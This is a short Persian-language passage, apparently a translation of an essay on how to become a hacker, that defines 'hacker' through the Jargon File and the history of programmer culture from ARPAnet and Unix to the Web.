پرونده اصطلاحات(Jargon File) شامل تعاریفیاز’ هکر’ است که عموما در ارتباط با تعریف تکنیکیآن همراه با وصف سرخوشیحل مشکلات و مرتفع کردن محدودیت هاست. اگر شما میخواهید بدانید چگونه هکر شوید تنها دو تعریف به دردتان میخورد.
یک اجتماع ، یک فرهنگ مشترک ، از برنامه نویسان خبره و جادوگران شبکه که پیشینه آن از میان دهه ها به مینیکامپیوترهایاشتراک زمانی (time-sharing) و اولین تجریه های ARPAnet میرسد. اعضای این فرهنگ اصطلاح ‘ هکر’ را ساختند . هکرها اینترنت را ایجاد کردند. آنان سیستم عاملUnix را آنچنان که امروز هست ایجاد کردند. هکرها usenet را اجرا کردند. آنان باعث شدند شبکه جهانی (World wide web) کار کند. اگر شما دارای این فرهنگ هستید و دیگران میدانند که شما چه کسیهستید و هکر مینامندتان؛ پس شما هکر هستید!
نگرش هکر محدود به ‘هکرنرمافزار’ نمیشود ، مردمانیهستند که منش هکر را به سایر زمینه ها مانند الکترونیک یا موسیقیسرایت میدهند. در حقیقت شما میتوانید این فرهنگ را در بالاترین سطوح هر علم و هنری بیابید. هکرهای نرمافزار این هم روحان را در هر جا میشناسند، آنان را ‘هکر ‘ مینامند و برخیمعتقدند که طبیعت هکر واقعا مستقل از زمینه ایست که او در آن کار میکند. اما در تمام این مقاله ما بطور خاص بر مهارت ها و منش هایهکر نرمافزار، و فرهنگ های مشترکی که واژه ی ‘هکر’ را بوجود آورد تمرکز خواهیم کرد.
ادامه مطلب